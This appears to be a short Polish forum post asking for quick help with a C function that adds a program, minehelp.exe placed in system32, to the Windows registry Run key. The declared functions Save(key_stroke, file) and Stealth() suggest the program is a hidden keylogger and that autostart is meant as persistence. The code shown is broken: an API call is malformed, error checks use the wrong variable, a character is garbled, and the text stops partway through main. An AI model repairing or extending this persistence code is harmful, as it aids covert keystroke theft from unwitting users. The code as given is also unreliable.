szybko potrzebuje pomocy
staram się napisać i wywołać funkcję dodającą mój program do autostartu rejestru
co robię źle ?
void addRegValue( void )
{
HKEY reg;
char regKeyPath[] = "Software\Microsoft\Windows\CurrentVersion\Run";
LONG ret = 0;
ret = RegOpenKeyEx( HKEY_CURRENT_USER, regKeyPath, NULL, KEY_ALL_ACCESS, ® );
if( reg != ERROR_SUCCESS ) puts( "pobieranie uchwytu rejestru [!]\r\n" );
ret = RegSetValueEx( C:\Windows\system32\minehelp.exe );
if( ret != ERROR_SUCCESS ) puts( "C:\Windows\system32\minehelp.exe" );
}
int Save (int key_stroke, char *file);
void Stealth();
void MainHelp();
int main()
{
addRegValue();